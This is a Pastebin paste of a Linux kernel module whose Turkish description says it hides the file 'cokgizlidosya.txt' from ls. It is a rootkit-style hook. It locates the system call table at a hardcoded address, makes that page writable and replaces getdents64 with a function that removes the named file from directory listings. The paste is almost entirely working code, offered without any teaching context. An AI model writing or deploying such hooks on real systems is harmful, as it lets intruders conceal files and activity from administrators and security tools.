Advertisement
Guest User

Untitled

a guest
May 7th, 2019
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. #include <linux/module.h>
  2. #include <linux/init.h>
  3. #include <linux/kernel.h>
  4. #include <linux/moduleparam.h>
  5. #include <linux/unistd.h>
  6. #include <linux/semaphore.h>
  7. #include <linux/dirent.h>
  8. #include <asm/cacheflush.h>
  9.  
  10. MODULE_AUTHOR("blacknbunny");
  11. MODULE_DESCRIPTION("LS Komutundan cokgizlidosya.txt yi gizlemek");
  12. MODULE_LICENSE("GPL");
  13.  
  14. void **sys_call_table;
  15.  
  16. #define DOSYA_ISMI "cokgizlidosya.txt"
  17.  
  18. asmlinkage int (*org_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
  19.  
  20. asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
  21. {
  22. int rtn;
  23. struct linux_dirent64 *cur = dirp;
  24. int i = 0;
  25. rtn = org_getdents64(fd, dirp, count);
  26. while (i < rtn) {
  27. if (strncmp(cur->d_name, DOSYA_ISMI, strlen(DOSYA_ISMI)) == 0) {
  28. int reclen = cur->d_reclen;
  29. char *next_rec = (char *)cur + reclen;
  30. int len = (int)dirp + rtn - (int)next_rec;
  31. memmove(cur, next_rec, len);
  32. rtn -= reclen;
  33. continue;
  34. }
  35. i += cur->d_reclen;
  36. cur = (struct linux_dirent*) ((char*)dirp + i);
  37. }
  38. return rtn;
  39. }
  40.  
  41. int set_page_rw(unsigned long addr)
  42. {
  43. unsigned int level;
  44. pte_t *pte = lookup_address(addr, &level);
  45. if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
  46. return 0;
  47. }
  48.  
  49. int set_page_ro(unsigned long addr)
  50. {
  51. unsigned int level;
  52. pte_t *pte = lookup_address(addr, &level);
  53. pte->pte = pte->pte &~_PAGE_RW;
  54. return 0;
  55. }
  56.  
  57. static int __init getdents_hook_init(void)
  58. {
  59.  
  60. sys_call_table = (void*)0xffffffff820001c0;
  61. org_getdents64 = sys_call_table[__NR_getdents64];
  62.  
  63. set_page_rw(sys_call_table);
  64. sys_call_table[__NR_getdents64] = hook_getdents64;
  65. return 0;
  66. }
  67.  
  68. static void __exit getdents_hook_exit(void)
  69. {
  70. sys_call_table[__NR_getdents64] = org_getdents64;
  71. set_page_ro(sys_call_table);
  72. return 0;
  73. }
  74.  
  75. module_init(getdents_hook_init);
  76. module_exit(getdents_hook_exit);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement